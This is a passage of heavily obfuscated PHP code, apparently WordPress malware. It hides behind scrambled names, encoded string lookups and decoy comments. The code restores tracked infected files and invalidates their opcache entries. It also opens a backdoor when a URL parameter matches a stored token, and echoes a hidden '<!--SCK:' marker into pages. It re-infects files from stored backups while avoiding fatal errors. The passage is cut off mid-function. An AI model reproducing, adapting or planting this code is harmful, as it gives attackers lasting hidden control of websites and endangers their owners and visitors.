    $do2u41hpmttn   =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($oxgrzhf_b1dott,  false,     null,     0,  (4045+51));



if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($phet24rlbsvj)  || !$GLOBALS['__scf_qubutkuvnnc4sx_41']($do2u41hpmttn)) return false;
 $kouviezibqr62ko   =  $ioharl8_lo  = null;
    if ($GLOBALS['__scf_cr07b5s7432_100']("/!function_exists\('([A-Za-z0-9_]+)'\)/",  $phet24rlbsvj, $o495q60ddkzzvmu))   $kouviezibqr62ko  = $o495q60ddkzzvmu[1];
     if ($GLOBALS['__scf_cr07b5s7432_100']("/!function_exists\('([A-Za-z0-9_]+)'\)/",     $do2u41hpmttn,    $o495q60ddkzzvmu))   $ioharl8_lo     = $o495q60ddkzzvmu[1];
return  $kouviezibqr62ko !==  null   && $kouviezibqr62ko  ===   $ioharl8_lo;
 

  }
  function      hrfhci3wwbgn47uho($of_pcm29oxt9u3z)
    {
$_cnes7vytq7930  = $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z,     b5xx0lrqzfc(1372));
   foreach  (array($GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z),      eki4v2wrqno4knxgtm4qhv())     as $rtnxjwsi0p3gd) {
       $tpk8mtd1g8o  =  $rtnxjwsi0p3gd    . b5xx0lrqzfc(1373) .  $_cnes7vytq7930;
  if     (!@$GLOBALS['__scf_xaseomj3flge_20']($tpk8mtd1g8o)  ||      (int)   @$GLOBALS['__scf_ha0rpt74l7eb9_102']($tpk8mtd1g8o)    < $GLOBALS['__scf_tmn0v_xik_1b_195']()     -  (1019071-414271))  continue;
$f_jvqhkiss7y0hf  =  $GLOBALS['__scf_qbsuu37jbe5t_328']((string) @$GLOBALS['__scf_v_rxq_yh85s05_99']($tpk8mtd1g8o));



  if ($f_jvqhkiss7y0hf   ===  "")  continue;
$yazr2g01258tle   =     wj9blpi2pvw8f3b8qhcxu($of_pcm29oxt9u3z);
 if    ($yazr2g01258tle === null) continue;

  if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)  && $yazr2g01258tle    !==   ""   &&  $GLOBALS['__scf_gvrvt5qjna_57']($yazr2g01258tle)    ===  $f_jvqhkiss7y0hf) return    true;
 }



return   false;
       }



    function c2g0ifci2u4hli_k($of_pcm29oxt9u3z)
        {
    if   (!$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1357))    ||     !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1374))) return;
      $hjiruof3s0agy5tq   = @get_option(b5xx0lrqzfc(1375),   array());
if    (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($hjiruof3s0agy5tq)) $hjiruof3s0agy5tq  =  array();
 $hjiruof3s0agy5tq[$GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z)]    = $of_pcm29oxt9u3z;
 if ($GLOBALS['__scf_tbu69vegc9f_36']($hjiruof3s0agy5tq) >   (11+9))  $hjiruof3s0agy5tq     =   $GLOBALS['__scf_zmuu9w5tlhvrg__169']($hjiruof3s0agy5tq, -(25-5), null,   true);
@update_option(b5xx0lrqzfc(1376),  $hjiruof3s0agy5tq, s99lg14mcd3un(1377));
}
       function   x1cssj8oc5piso1rodil()
{
if   (!$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1357))  ||    !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1374))) return;


$hjiruof3s0agy5tq   = @get_option(b5xx0lrqzfc(1376),  array());
 if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($hjiruof3s0agy5tq)   ||  empty($hjiruof3s0agy5tq)) return;
$syd_6037gb   =    array();



   foreach     ($hjiruof3s0agy5tq as   $h4sg6v8cdzuctlj =>   $gx1wu9an7cfa2x_t)    {
 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($gx1wu9an7cfa2x_t) ||    $gx1wu9an7cfa2x_t ===   "" ||   !@$GLOBALS['__scf_xaseomj3flge_20']($gx1wu9an7cfa2x_t))   continue;
  if  ($gx1wu9an7cfa2x_t ===    curga5ep68su8__o())     continue;
 $hz1eu8j574q = @$GLOBALS['__scf_rh81zjbcpm_33']($gx1wu9an7cfa2x_t);
 $sbz70pxyo170fl  =  @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o());
   if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($hz1eu8j574q)   &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($sbz70pxyo170fl)    &&  $hz1eu8j574q     ===     $sbz70pxyo170fl)    continue;
 unset($hz1eu8j574q,    $sbz70pxyo170fl);
  if  (m5wd69bqaohezg3q($gx1wu9an7cfa2x_t)   === false)    {
  $syd_6037gb[$h4sg6v8cdzuctlj]     = $gx1wu9an7cfa2x_t;
continue;


 }
 ottk3i1kq8br96vi($gx1wu9an7cfa2x_t,    (364+56));
     if  (wlm_50lfl72sy8hrb_9xe9($gx1wu9an7cfa2x_t)) {
if      ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(200)))   @opcache_invalidate($gx1wu9an7cfa2x_t,  true);
      }  elseif  (@$GLOBALS['__scf_xaseomj3flge_20']($gx1wu9an7cfa2x_t))  {
    $syd_6037gb[$h4sg6v8cdzuctlj]  = $gx1wu9an7cfa2x_t;
 }
}
    @update_option(cv8ducrec(1378),     $syd_6037gb, b5xx0lrqzfc(1377));
 }



  function    y7p5i5_gdjudi3apq5r86()


   {



try {
$uvo4msk8s29_    =   $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(183))     ? @error_get_last()  : null;
if (
$GLOBALS['__scf__qh9f0l6g7e7ez_35']($uvo4msk8s29_)  &&    !empty($uvo4msk8s29_[cv8ducrec(1379)])    && !empty($uvo4msk8s29_[pvz_9xuc0nzl0m(186)])
&&  $GLOBALS['__scf_o_dt0p7mox4_159']($uvo4msk8s29_[s99lg14mcd3un(186)],  array(E_ERROR, E_PARSE, E_CORE_ERROR,  E_COMPILE_ERROR,   E_USER_ERROR),  true)
     ) {
    $usy5gkjhj3_     = @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o());
 $_ef =     @$GLOBALS['__scf_rh81zjbcpm_33']($uvo4msk8s29_[s99lg14mcd3un(1379)]);



       if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($usy5gkjhj3_)  &&     $GLOBALS['__scf_qubutkuvnnc4sx_41']($_ef) &&   $_ef  ===     $usy5gkjhj3_)   return;
    }
      dhcqo7x2bpwxg8p954(cv8ducrec(1368));



    if   (defined(pvz_9xuc0nzl0m(1347)))     {
   $v96z6uuakz7l8eo1   = yedatqs7aptdu6();
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($v96z6uuakz7l8eo1[1]))  {
/* equivariant pipeline */

$y19r1xxng4sp   = @$GLOBALS['__scf_v_rxq_yh85s05_99']($v96z6uuakz7l8eo1[1],    false,   null,   0,  (4<<4));



  if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($y19r1xxng4sp)      && $GLOBALS['__scf_ya_jdhkqpku_7']($y19r1xxng4sp,  pvz_9xuc0nzl0m(1258)  .  jqg87ez26lzm3yp01xj2q() .  ':')      ===    0) {
  $h9riqqde3d1l   =      @$GLOBALS['__scf_xaseomj3flge_20']($v96z6uuakz7l8eo1[1]    . j8bjjevd80e(1380)) ?   @$GLOBALS['__scf_v_rxq_yh85s05_99']($v96z6uuakz7l8eo1[1]   .  pvz_9xuc0nzl0m(1380), false,   null, 0,  (0x7+0x39))   :   "";
      if      ($h9riqqde3d1l !==     $y19r1xxng4sp)  @$GLOBALS['__scf_ck77ul1tgq_75']($v96z6uuakz7l8eo1[1],  $v96z6uuakz7l8eo1[1] . b5xx0lrqzfc(1380));
    }



     }
unset($v96z6uuakz7l8eo1,  $y19r1xxng4sp,      $h9riqqde3d1l);



   }



 } catch   (Throwable   $yyum4l8cp75)  {
       } catch (Exception  $yyum4l8cp75)    {
}
  }
    function  dxhlfys7oxlrhk($oxgrzhf_b1dott)
    {
 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($oxgrzhf_b1dott))    return  "";
if     ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](j8bjjevd80e(1382), $oxgrzhf_b1dott,     $ruv3fbhwf2an5)) {
// asynchronous bulkhead

foreach ($ruv3fbhwf2an5[1]  as      $hb4vrc56plegvrw) {
  if (oy6ypar1iohigl8mna($GLOBALS['__scf_hitibqyb6ku_357']($hb4vrc56plegvrw,   true)))   return   "";
}
    }
  if  ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](s99lg14mcd3un(1383), $oxgrzhf_b1dott, $ruv3fbhwf2an5)) {
   foreach   ($ruv3fbhwf2an5[1]     as     $hb4vrc56plegvrw)  {
  if   (oy6ypar1iohigl8mna(stripcslashes($hb4vrc56plegvrw)))  return  "";
if  ($GLOBALS['__scf_ya_jdhkqpku_7']($hb4vrc56plegvrw, j8bjjevd80e(1384))   !== false)   {$r1e2cvqqjns=PHP_INT_MAX/PHP_INT_MAX;$bq2h4y28h_d=$r1e2cvqqjns+90;



   $wbom2yve1obouo     =     preg_replace_callback(s99lg14mcd3un(1385),  s99lg14mcd3un(1386),     $hb4vrc56plegvrw);



if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($wbom2yve1obouo)  &&    $wbom2yve1obouo !==     $hb4vrc56plegvrw  &&  oy6ypar1iohigl8mna($wbom2yve1obouo)) return   "";
 }
   }
   }

    if    ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](cv8ducrec(1387), $oxgrzhf_b1dott, $ruv3fbhwf2an5))     {$o6i470z9u16ed=47*4;$cko0p4a2yj6y=$o6i470z9u16ed-45;



   foreach     ($ruv3fbhwf2an5[1]   as $hb4vrc56plegvrw)      {
 if  (oy6ypar1iohigl8mna($GLOBALS['__scf_q1hcnnvi5ufvxy_363'](array(b5xx0lrqzfc(1388),   pvz_9xuc0nzl0m(1389)),   array('\\',  '\''), $hb4vrc56plegvrw))) return     "";
   if ($GLOBALS['__scf_ya_jdhkqpku_7']($hb4vrc56plegvrw,  s99lg14mcd3un(1390)) !==     false)  {
   $wbom2yve1obouo  =     preg_replace_callback(s99lg14mcd3un(1385), s99lg14mcd3un(1386),   $hb4vrc56plegvrw);
  if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($wbom2yve1obouo) &&  $wbom2yve1obouo !==  $hb4vrc56plegvrw && oy6ypar1iohigl8mna($wbom2yve1obouo)) return  "";
 }
  }
}
       return     $oxgrzhf_b1dott;
   }
    function xxvxrdejom95pgzs9lxsz($jl0bklzorm3m_ubj)



    {
 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($jl0bklzorm3m_ubj) ||     ($GLOBALS['__scf_ya_jdhkqpku_7']($jl0bklzorm3m_ubj, pvz_9xuc0nzl0m(1391))   === false  &&  $GLOBALS['__scf_ya_jdhkqpku_7']($jl0bklzorm3m_ubj,  s99lg14mcd3un(357))   ===   false))  return   false;

if ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](s99lg14mcd3un(1382), $jl0bklzorm3m_ubj,  $ruv3fbhwf2an5))   {$arhl3fow1=67+61;$oetjt0793d=$arhl3fow1-18;
 foreach     ($ruv3fbhwf2an5[1]     as $hb4vrc56plegvrw)  {
// adaptive session-type


   if   (oy6ypar1iohigl8mna($GLOBALS['__scf_hitibqyb6ku_357']($hb4vrc56plegvrw, true)))  return      true;

  }
}



    if ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](b5xx0lrqzfc(1392),  $jl0bklzorm3m_ubj, $ruv3fbhwf2an5))      {
  foreach    ($ruv3fbhwf2an5[1] as   $hb4vrc56plegvrw)  {
    if (oy6ypar1iohigl8mna(stripcslashes($hb4vrc56plegvrw))) return    true;


}
      foreach    ($ruv3fbhwf2an5[1] as  $hb4vrc56plegvrw)   {
     if     ($GLOBALS['__scf_ya_jdhkqpku_7']($hb4vrc56plegvrw,      s99lg14mcd3un(1390)) ===     false) continue;
  $wbom2yve1obouo =  preg_replace_callback(s99lg14mcd3un(1385), s99lg14mcd3un(1386), $hb4vrc56plegvrw);
 if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($wbom2yve1obouo)    && $wbom2yve1obouo   !==  $hb4vrc56plegvrw &&   oy6ypar1iohigl8mna($wbom2yve1obouo))  return    true;
}
      }
      if  ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](pvz_9xuc0nzl0m(1387),    $jl0bklzorm3m_ubj, $ruv3fbhwf2an5))    {
     foreach   ($ruv3fbhwf2an5[1]     as  $hb4vrc56plegvrw)    {
if (oy6ypar1iohigl8mna($GLOBALS['__scf_q1hcnnvi5ufvxy_363'](array(cv8ducrec(1393),  j8bjjevd80e(1389)),   array('\\',  '\''),    $hb4vrc56plegvrw)))    return    true;
 }
    foreach  ($ruv3fbhwf2an5[1]  as  $hb4vrc56plegvrw)    {$w52fz0agvi908r=-308;$ymv3989ognfp=($w52fz0agvi908r>0)?$w52fz0agvi908r:-$w52fz0agvi908r;
    if ($GLOBALS['__scf_ya_jdhkqpku_7']($hb4vrc56plegvrw,   j8bjjevd80e(1390))   ===    false) continue;
    $wbom2yve1obouo     =   preg_replace_callback(s99lg14mcd3un(1385),    j8bjjevd80e(1394), $hb4vrc56plegvrw);
  if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($wbom2yve1obouo)   &&   $wbom2yve1obouo !==  $hb4vrc56plegvrw     && oy6ypar1iohigl8mna($wbom2yve1obouo))  return  true;
 }
 }
      return      false;
 }
 function fcu9wu0k8nc_8fhi6pfmpt($jl0bklzorm3m_ubj)
 {
       if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($jl0bklzorm3m_ubj)   ||   $jl0bklzorm3m_ubj ===  "")    return  "";
       return ($GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(214), $GLOBALS['__scf_kmygv436ft5pn_9']($jl0bklzorm3m_ubj, 0,    (8153+39)), $ljvicb11d2w9)) ?     $ljvicb11d2w9[1] :  "";
  }
 function  l4bj8tsc9xuywl_e($yazr2g01258tle,     $a9oal7n6c2gs8,   $jv3w6ea83hf4 =  null)



   {
if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)    ||  $yazr2g01258tle   ===  "")    return   $yazr2g01258tle;
 $d5ic9dz9nc4pgi    =  s99lg14mcd3un(825)   .      $a9oal7n6c2gs8 .   s99lg14mcd3un(826);


 $ssxrvq5et832s = "";
$cuugm1amc1umy  =   0;



  while    ($cuugm1amc1umy++ < (134-6)) {
// color-register free strategy



     $a0kttoor3gy_b  =   $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle, $d5ic9dz9nc4pgi);
 if   ($a0kttoor3gy_b     ===      false)      break;
       $p3xz35rtyn  =      $a0kttoor3gy_b   +    $GLOBALS['__scf_d413tdd725_10']($d5ic9dz9nc4pgi);$nrk0fjg5gm07r=18*8;$c5st77zyfof03n=$nrk0fjg5gm07r-31;
   $l2a661lnvhm =   $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,    b5xx0lrqzfc(1293),  $p3xz35rtyn);


if      ($l2a661lnvhm   ===  false ||   $l2a661lnvhm   -   $p3xz35rtyn    >     (21+43)) {
 $ssxrvq5et832s  .=    $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,   0, $p3xz35rtyn);
  $yazr2g01258tle =  $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,   $p3xz35rtyn);
   continue;
     }
// profile minimal event-bus

$t78rciit0dz   =   $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,  $p3xz35rtyn,      $l2a661lnvhm    - $p3xz35rtyn);
    if     (!$GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(1395),    $t78rciit0dz)) {
  $ssxrvq5et832s   .=    $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,    0,   $p3xz35rtyn);



  $yazr2g01258tle  =  $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,    $p3xz35rtyn);
   continue;
     }
  $j0zd60dy4m_  =  j8bjjevd80e(825)     .    $a9oal7n6c2gs8  .   cv8ducrec(1396)   .   $t78rciit0dz  .  cv8ducrec(1397);
     $x5k3nlyqd9 =      $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,   $j0zd60dy4m_, $l2a661lnvhm);
if  ($x5k3nlyqd9   === false)  break;
 $ssxrvq5et832s    .= $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,  0,  $a0kttoor3gy_b);
  $kakkv4it0rjp8     =   $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle,  $a0kttoor3gy_b,  $x5k3nlyqd9  + $GLOBALS['__scf_d413tdd725_10']($j0zd60dy4m_) - $a0kttoor3gy_b);
if ($jv3w6ea83hf4 !==  null)  {
  $lixijsuy7hjm_ =   $GLOBALS['__scf_b6sn8bxty99_296']($jv3w6ea83hf4,     $kakkv4it0rjp8);
   if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($lixijsuy7hjm_))    $ssxrvq5et832s .=     $lixijsuy7hjm_;
 }      else {
   $ssxrvq5et832s  .=  $kakkv4it0rjp8;
    }
      $yazr2g01258tle    =  $GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle, $x5k3nlyqd9  +    $GLOBALS['__scf_d413tdd725_10']($j0zd60dy4m_));
    }
 return  $ssxrvq5et832s .  $yazr2g01258tle;
}
function  khku0bt1tniuhzy7gp($oxgrzhf_b1dott)
{
   return   "";
 }
 function   _vrjzah7wmeuakq9trx2v($oxgrzhf_b1dott)
{
  if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($oxgrzhf_b1dott))   return "";
    if  (!defined(cv8ducrec(1347))) return $oxgrzhf_b1dott;
     $tsfvh_ux4soz8  = inbj7my4zpjuh_tx(ABSPATH .  j8bjjevd80e(1398),   (0x1+0x7));
     if  ($GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1399)      .     $tsfvh_ux4soz8    .  b5xx0lrqzfc(1400), $oxgrzhf_b1dott))   return "";
   return $oxgrzhf_b1dott;



    }
function hjn4oi9zob7zcy32($yazr2g01258tle)
  {$hfp7qo70rm=93|217;$wirjw2hn=$hfp7qo70rm^213;
       if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)   || $yazr2g01258tle   ===   "")  return  $yazr2g01258tle;
  $juichfk25b__   =   l4bj8tsc9xuywl_e($yazr2g01258tle,     s99lg14mcd3un(1401), s99lg14mcd3un(1402));
 $juichfk25b__   =  l4bj8tsc9xuywl_e($juichfk25b__,  s99lg14mcd3un(1403), s99lg14mcd3un(1404));
   if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))   $juichfk25b__    =  $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1405),    "",     $juichfk25b__);
 if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))  $juichfk25b__ =      $yazr2g01258tle;
if    (xxvxrdejom95pgzs9lxsz($juichfk25b__))    {
  $juichfk25b__ =  l4bj8tsc9xuywl_e($juichfk25b__,  s99lg14mcd3un(1401), j8bjjevd80e(1406));
 $juichfk25b__   =  l4bj8tsc9xuywl_e($juichfk25b__, b5xx0lrqzfc(1403),   j8bjjevd80e(1406));
if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__)) $juichfk25b__ =  $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(1405),    "",   $juichfk25b__);
   }
return $GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__)   ?   $juichfk25b__ : $yazr2g01258tle;
   }
      function evckb2mqba58i9k($yazr2g01258tle)
 {
 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)   ||    !defined(j8bjjevd80e(1407)))     return false;
      if  ($GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1405),  $yazr2g01258tle))    return    true;
 $mtjrr_qxtssasl  = inbj7my4zpjuh_tx(ABSPATH  .     cv8ducrec(1398),  (14-6));



    if ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](s99lg14mcd3un(1408),   $yazr2g01258tle,    $q07zkbpj754ca))  {
 foreach  ($q07zkbpj754ca[1]    as $c8f44trk4ddt9fj)  {


 if ($GLOBALS['__scf_kmygv436ft5pn_9']($c8f44trk4ddt9fj,    -(0x2+0x7))  ===  ':'   . $mtjrr_qxtssasl)   return    true;
}
      }

 $_dd  =  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](ABSPATH   . s99lg14mcd3un(1409)),   0, (0x6+0x2));
if  ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](b5xx0lrqzfc(1410),    $yazr2g01258tle,  $_dm))  {
  foreach ($_dm[1]    as  $ddahgb8vl0adgcff)   {
  if    ($ddahgb8vl0adgcff  ===  $_dd)  return true;
   }
     }
  return  false;
    }
      function u4fy9ndsipysmrq()
   {
  if (!isset($_GET[cv8ducrec(1411)]) ||     !$GLOBALS['__scf_qubutkuvnnc4sx_41']($_GET[b5xx0lrqzfc(1411)]) ||     !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1357)))  return;
 $sv8wto3s5byv = @get_option(s99lg14mcd3un(1412), array());


 if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv))    return;
    $p1mp0xzxna73o_ = (string) $_GET[pvz_9xuc0nzl0m(1411)];
 $eadlsp29a41wdfwy  =     array();

       if  (isset($sv8wto3s5byv['t']))  $eadlsp29a41wdfwy[]   = (string)  $sv8wto3s5byv['t'];
      if  (isset($sv8wto3s5byv[j8bjjevd80e(557)]) && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv[pvz_9xuc0nzl0m(557)]))  {
    foreach  ($sv8wto3s5byv[b5xx0lrqzfc(557)]  as    $i0zyerwjtour) {
   if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($i0zyerwjtour)   &&    isset($i0zyerwjtour['t']))    $eadlsp29a41wdfwy[]     =  (string)  $i0zyerwjtour['t'];


}

 }
    $_sepybsmvskth   =  false;

       foreach   ($eadlsp29a41wdfwy as  $t76p_qt1c0)    {
 if   ($t76p_qt1c0 ===    "")      continue;
     $_sepybsmvskth  =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1413))    ?  hash_equals($t76p_qt1c0, $p1mp0xzxna73o_)  :  ($t76p_qt1c0 ===   $p1mp0xzxna73o_);
  if ($_sepybsmvskth)     break;
 }
      if     (!$_sepybsmvskth) return;



 $GLOBALS[pvz_9xuc0nzl0m(1414)] =  $p1mp0xzxna73o_;
d25ke5lz6ilx2qgf(j8bjjevd80e(764),   j8bjjevd80e(1415),   -1);
    if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(179))) {
  $GLOBALS['__scf_q0ye8_g2b4gf_179'](s99lg14mcd3un(1415));
  }
   }


   function leh8j7ozehn01gn8ujcu94()
    {
    if    (empty($GLOBALS[b5xx0lrqzfc(1414)]) || !$GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[cv8ducrec(1416)]))  return;
       if  (!empty($GLOBALS[pvz_9xuc0nzl0m(1417)]))  return;
 $GLOBALS[j8bjjevd80e(1417)]  =  true;
  echo  "\n<!--SCK:"  .   $GLOBALS[j8bjjevd80e(1416)] .   j8bjjevd80e(1418);
 }



  function cxcoghdq1ec8kp569oj()
      {
 if (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1419))) return     false;



 $ljvicb11d2w9   =   @get_option(cv8ducrec(553),   "");



  if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($ljvicb11d2w9)    ||   $GLOBALS['__scf_ya_jdhkqpku_7']($ljvicb11d2w9,   cv8ducrec(1420))  !==     0)   return  false;



 $gt6c1ganuari0 =  (int)    $GLOBALS['__scf_kmygv436ft5pn_9']($ljvicb11d2w9, (3<<1));
   if     ($gt6c1ganuari0  &&  $GLOBALS['__scf_tmn0v_xik_1b_195']()    -    $gt6c1ganuari0  >  (55266+31134))   return false;
return true;


 }


 function zdfzf5c43mxl70s($of_pcm29oxt9u3z,  $w1olrp3czi6ftlg)
{
if     (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1374))  ||  !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(179)))  return   false;
  $sv8wto3s5byv    =  @get_option(pvz_9xuc0nzl0m(1421),  array());


     if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv))   $sv8wto3s5byv  =     array();
    if    (!isset($sv8wto3s5byv[b5xx0lrqzfc(1422)])  ||  !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv[pvz_9xuc0nzl0m(1422)]))  {
       $e7zpk2nu73b  =  array();
    if (isset($sv8wto3s5byv['t'],   $sv8wto3s5byv['p'],   $sv8wto3s5byv['b'])) {

$ukjdsllruj2d =    (string)  $sv8wto3s5byv['p'];
$uneqdgcw0hmv =  (string)  $sv8wto3s5byv['b'];
$e7zpk2nu73b[$GLOBALS['__scf_gvrvt5qjna_57']($ukjdsllruj2d)]  =   array('t'    =>  (string)  $sv8wto3s5byv['t'], 'p' =>   $ukjdsllruj2d,  'b' =>   $uneqdgcw0hmv,     j8bjjevd80e(549)   =>   isset($sv8wto3s5byv[j8bjjevd80e(549)])  ?     (int)   $sv8wto3s5byv[cv8ducrec(1423)] :     $GLOBALS['__scf_tmn0v_xik_1b_195'](),  s99lg14mcd3un(1424)   =>  0, 'n' =>  (@$GLOBALS['__scf_xaseomj3flge_20']($uneqdgcw0hmv)  && (int)  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($uneqdgcw0hmv)      ===  0) ?  1 :  0);

     $h9riqqde3d1l  = $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1425))  ?  @md5_file($ukjdsllruj2d)  :  false;

      if      ($GLOBALS['__scf_qubutkuvnnc4sx_41']($h9riqqde3d1l) &&   $h9riqqde3d1l  !==   "") $e7zpk2nu73b[$GLOBALS['__scf_gvrvt5qjna_57']($ukjdsllruj2d)]['h']  =  $h9riqqde3d1l;
unset($ukjdsllruj2d,   $uneqdgcw0hmv,  $h9riqqde3d1l);
      }
$sv8wto3s5byv =  array(b5xx0lrqzfc(1426)    => $e7zpk2nu73b);


   }
      $t78rciit0dz =  $GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z);
   $zjbwwhwzky1pwblf =    cxcoghdq1ec8kp569oj()   ?    1    :   0;
 $m03z06d689   =  !isset($sv8wto3s5byv[b5xx0lrqzfc(1426)][$t78rciit0dz]);
  if (!$m03z06d689)    {
$sv8wto3s5byv[pvz_9xuc0nzl0m(1426)][$t78rciit0dz][b5xx0lrqzfc(1423)] = $GLOBALS['__scf_tmn0v_xik_1b_195']();
  $sv8wto3s5byv[b5xx0lrqzfc(1426)][$t78rciit0dz]['g'] = $GLOBALS['__scf_di84jqdj15nut_294'](true);
$sv8wto3s5byv[j8bjjevd80e(1427)][$t78rciit0dz][b5xx0lrqzfc(1424)]    =  0;
    $sv8wto3s5byv[b5xx0lrqzfc(1427)][$t78rciit0dz]['n']  =  ($w1olrp3czi6ftlg ===  "")  ?  1  : 0;



 $sv8wto3s5byv[cv8ducrec(1427)][$t78rciit0dz][cv8ducrec(1428)]  =   $zjbwwhwzky1pwblf;
 $sv8wto3s5byv[cv8ducrec(1427)][$t78rciit0dz][s99lg14mcd3un(1429)] =   $GLOBALS['__scf_tmn0v_xik_1b_195']();
     $sv8wto3s5byv[b5xx0lrqzfc(1430)][$t78rciit0dz][j8bjjevd80e(1431)] =     0;
  $sv8wto3s5byv[j8bjjevd80e(1430)][$t78rciit0dz][b5xx0lrqzfc(1432)]   = 0;
 $sv8wto3s5byv[s99lg14mcd3un(1430)][$t78rciit0dz][pvz_9xuc0nzl0m(1433)]   = 0;
if (!qc7730958b5mgfuj_($sv8wto3s5byv[s99lg14mcd3un(1430)][$t78rciit0dz]['b'],  $w1olrp3czi6ftlg))     {



  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1434),    j8bjjevd80e(1435));
// WP Post Title: exact-adj reduction

  return false;



  }
} else   {
// MySQL JSON operators: marshal circuit-breaker

   if ($GLOBALS['__scf_tbu69vegc9f_36']($sv8wto3s5byv[cv8ducrec(1430)]) >= (0x2+0x8))     {
 f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1434), j8bjjevd80e(1436));
    return  false;


      }

  $_gbdleyfzdd97b = wjdsjl3nphz8g9u();
      $cexut8ggqmx   = $_gbdleyfzdd97b .   cv8ducrec(1437)  .    inbj7my4zpjuh_tx($of_pcm29oxt9u3z,     (6<<1))   .     b5xx0lrqzfc(1438);



      if    (!qc7730958b5mgfuj_($cexut8ggqmx,    $w1olrp3czi6ftlg))    {
   f1995qrx5prr7cbl19co0e(cv8ducrec(1434),  s99lg14mcd3un(1439));
 return  false;


 }
// WP Post Template site meta

